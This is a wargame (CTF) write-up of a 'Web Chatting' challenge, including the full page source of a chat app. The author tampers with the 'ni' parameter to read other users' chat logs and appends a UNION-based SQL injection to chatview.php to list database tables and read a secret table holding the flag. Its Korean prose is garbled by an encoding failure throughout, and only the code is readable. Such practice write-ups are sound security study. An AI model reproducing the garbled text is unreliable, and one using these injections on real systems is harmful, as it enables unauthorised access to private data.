Wargame ) Web Chatting
function getchatlog(type){
xmlhttp = new XMLHttpRequest();
if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
}else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni + " union select 1,table_name,3,4,5 from information_schema.tables--");}
xmlhttp.send(null);
}
κ°λ¨ν SQL Injection μ΄λλ€. κ·Έλ¦¬κ³ νΈλν½μ μ€μ΄κΈ° μν΄ ν μ μλκ² λ¬΄μμ΄ μλμ§ λ¬Όμ΄λ³΄λ κ² κ°λ€. on developer's perspective.
ID λ₯Ό μ λ ₯ν νμ μ±ν μλΉμ€λ‘ μ°κ²°μ΄ λλ€. μ΄κ³³μμ μ΄λ€ SQL μ·¨μ½μ μ λ°κ²¬ν μλ μμλ€. db table μ κ΄ν΄μ μ΄λ€ μ 보λ μμκΈ° λλ¬Έμ΄λ€. λ‘κ·ΈμΈ ν ν μ±ν μλΉμ€μ μ κ·Όνλλ‘ νκ² λ€.
μ΄λ° UIμ μμ λ¨μν Injection μ μ€νλμ§ μμλ€. κ°λ°μ λͺ¨λλ‘ μμ€λ₯Ό μ΄ν΄λ³΄λ λ€μκ³Ό κ°μ JS κ° λ³΄μλ€,
<style>
textarea {padding-left:10px; font-size:15px; font-family:verdana;}
body {background-color:#aaa;}
</style>
<script src="./blueh4g_js.js"></script>
<script>
var xmlhttp,ni,iq=0,brtype=1;
function getchatlog(type){
xmlhttp = new XMLHttpRequest();
if(type==1){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
}else if(type==2){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
xmlhttp.send(null);
}
function chatprint(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
var temp=xmlhttp.responseText;
if(brtype==2){cwifr.document.body.innerHTML+=temp;}else{cwifr.document.write(temp);}
cwifr.document.body.scrollTop=cwifr.document.body.scrollHeight;
}
}
function getni(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
var tni=parseInt(xmlhttp.responseText);
if(tni!=ni && iq!=0){getchatlog(2);}
ni=tni;iq=1;
}
}
function sayf(f){
var xmlhttp2 = new XMLHttpRequest();
var pdata="chatlog.php?"+encodeURI("data="+f.saydata.value);
xmlhttp2.open("GET",pdata);
xmlhttp2.send(null);
f.saydata.value="";
f.saydata.focus();
return false;
}
function init(){
cwifr = document.getElementById("ifr").contentWindow;
cwifr.document.body.style.backgroundColor="fff";
// cwifr.document.designMode="on";
var temp=get_br_blue();
if(temp=="CHR" || temp=="SAF"){brtype=2;}
getchatlog(1);
setInterval("getchatlog(1)",1000);
document.getElementById("firstf").focus();
}
</script>
<body onload="init();" style="text-align:center;">
<form method="post" action="chatlog.php" onsubmit="return sayf(this);">
<table align=center>
<tr><td>
<h3>[ BlueCHAT v0.9 ] - <span style="font-size:60%;">μκ²μμ© μ±ν
μ΄λΌ λ°μ΄ν° 리νλ μ¬λ μ’ λλ¦¬κ² ν΄λμ΅λλ€~</span></h3>
<iframe id="ifr" style="width:850px; height:500px;"></iframe>
</td></tr>
<tr><td align=center><input type="text" style="width:120px; text-align:center; font-weight:bold;" value="γ
γΉ" readonly><input type="text" name="saydata" style="width:500px" id="firstf"><input type="submit" value="say"> <span style="font-size:9px; color:#000;">made by BlueH4G</span><input type="button" value="logout" onclick="window.location='./';"></td></tr>
</table>
</form>
</body>
κ·Έλ¦¬κ³ λ€νΈμν¬μλ μ§μμ μΌλ‘
chatlog.php λ₯Ό κ°μ Έμ€κ³ μμλ€. μ΄λ€ 쿼리문μ ν΅ν΄ μ΄λ° php κ° κ°μ Έμμ§λ κ² κ°λ€.
JS μ μλ μμ€λ₯Ό μ΄ν΄λ³΄λλ‘ νκ² λ€.
getchatlog λΌλ ν¨μμ GET λ°©μμΌλ‘ t λ³μμ 1 μ λ£μ΄ chatlog λ₯Ό μμ²νλ κ²μ λ³Ό μ μλ€. κ·Έλ¦¬κ³ getchatlog μ μΈμμΈ type μ΄ 2 λΌλ©΄ GET λ°©μμΌλ‘ chatview.php λΌλ php λ₯Ό t=1 λ³μ κ·Έλ¦¬κ³ ni λΌλ μ΄λ€ λ³μλ₯Ό μ¬μ©νμ¬ μμ²νλ κ²μ λ³Ό μ μλ€. Burpsuite λ₯Ό μ΄μ©ν΄μ ν¨ν·μ μ΄ν΄λ³΄λλ‘ νκ² λ€.
μκΉ λ³΄μλ php μμ² ν¨ν·μ΄λ€. type λ³μλ₯Ό 1μμ 2λ‘ λ°κΏμ μμ²ν νμκ° μμκ²κ°λ€.
ν΄λΉ ν¨μλ₯Ό μ½μλ‘ μμ νμ¬ type 1 μΌλ chatview λ₯Ό μμ²νλλ‘ μμ νκ² λ€.
function getchatlog(type){
xmlhttp = new XMLHttpRequest();
if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
}else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
xmlhttp.send(null);
}
μ΄λ κ² μμ νλ©΄ ν¨ν·μμ
chatview λ₯Ό μμ²ν κ²μ λ³Ό μ μλ€. κ·Έλ¦¬κ³ ni λΌλ κ°μ 55940 μμ μ μ μλ€. νμ§λ§ ν¨ν·μ μ΄λ€ λ³μλ§ λ°λμμ λΏ, UI μ λμ λλ λ³νλ 보μ΄μ§ μμλ€.
μ±ν μ μ λ ₯ν΄λ³΄κ² λ€.
chatview.php λ μ±ν κΈ°λ‘μ 보μ¬μ£Όλ λ― νλ€. κ·Έ μΈμλ μ΄λ€ λ€λ₯Έκ²μ΄ 보μ΄μ§ μμλ€. νμ΄μ§ μμ€λ₯Ό λ€μνλ² μ΄ν΄λ³΄μμΌκ² λ€. νμ΄μ§ μμ€μλ '55940' μ΄λΌλ κ° λ§κ³ λ λ€λ₯Έκ²μ΄ μλ€. κ·Έλ λ€ 55940 μ ν¨ν·μμ μμ²νλ ni λ³μμ κ°μ΄λ€.
κ·Έλ¦¬κ³ λ΄κ° μ λ ₯νλ κ°μ΄ κ³μ load λκ³ μλκ±°λ‘ λ³΄μ, ni κ°μ΄ λμ μ±ν λ΄μμ κ΄ν΄μ μ΄λ€ μ 보λ₯Ό κ°μ§κ³ μλ κ² μ²λΌ 보μΈλ€.
ni λ₯Ό μ‘°μνμ¬ λ³΄λ΄λ³΄λλ‘ νκ² λ€.
55940 -> 55941 λ‘ λ°κΎΈμλ€.
λ§μ§λ§μΌλ‘ μ λ ₯νλ μ±ν μ΄ μ¬λ¬κ° 보μ¬μ§λ€. κ³μ λ°κΎΈμ΄λ³΄κ² λ€.
TEST λΌλ μλ‘μ΄ λ¬Έμλ₯Ό μ±ν μλ²μ 보λ΄κ³ ni λ₯Ό 55940 -> 55939 λ‘ λ°κΎΈμλλ
λ€λ₯Έ μ¬λμ μ±ν μ΄ λ³΄μ¬μ§λ€. ni λ user μ id κ°μ μν μ νμ κ²μ΄λ€.
κ·Έλ λ€λ©΄ ν΄λΉ 쿼리λ select <μ±ν λ΄μ > from < table name > where ni = 55940 ; μ΄λ°μμ΄ λ κ²μ΄λ€. κ·Έλ λ€λ©΄ ni κ°μ μ‘°μν¨μΌλ‘μ¨ λ€λ₯Έ μ μ μ μ±ν λ‘κ·Έλ₯Ό κ°μ ΈμμΌλ 'μ·¨μ½ν μΈμ¦' μ ν΄λΉνλ μ·¨μ½μ μ΄ λ°μνλ€. κ·Έλ¦¬κ³ μ΄ ni λ³μλ₯Ό μ΄μ©νμ¬ μΈμ μ μ μλν΄λ³΄κ² λ€.
쿼리λ₯Ό 보λ΄λ³΄κ² λ€.
packet μ μ΄μ©ν΄μλ μλκΈΈλ κ·Έλ₯ ν¨μλ₯Ό κ³ μ³μ λΈλΌμ°μ μμμ μΈμ½λ©νλλ‘ νλ€.
function getchatlog(type){
xmlhttp = new XMLHttpRequest();
if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
}else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open
("GET","chatview.php?t=1&ni="+ni + " union select 1,table_name,3,4,5 from information_schema.tables--");}
xmlhttp.send(null);
}
μ΄λ κ² ν¨μλ₯Ό μμ ν΄μ 보λλλ
μ΄λ° ν μ΄λΈλ€μ΄ λμλ€.
secret μ΄λΌκ³ νλ©΄ κ΄ν λ³΄κ³ μΆμ΄μ§λ€. μ¬μ€ μ κ² μ μΌ μμνλ€. select λ¬Έμ λ€μ μμ ν΄μ chat_log_secret μ μ‘°νν΄λ³΄κ² λ€.
ν΄λΉ ν μ΄λΈμ μ‘°ννμ¬, μ§μ μ κ·Όνλλ νλκ·Έκ° λμλ€.
μ΄ λ¬Έμ λ₯Ό νΈλλ° ν μ΄λΈκ³Ό μ»¬λΌ μ 보λ₯Ό κ°μ Έμ€λλ° μ€λ²ν€λκ° λ무 μ¬ν΄μ type μ κ°μ λ‘ λ°κΏμ chatview μ μ κ·Όνλκ²μ μΆμ²νμ§ μλλ€...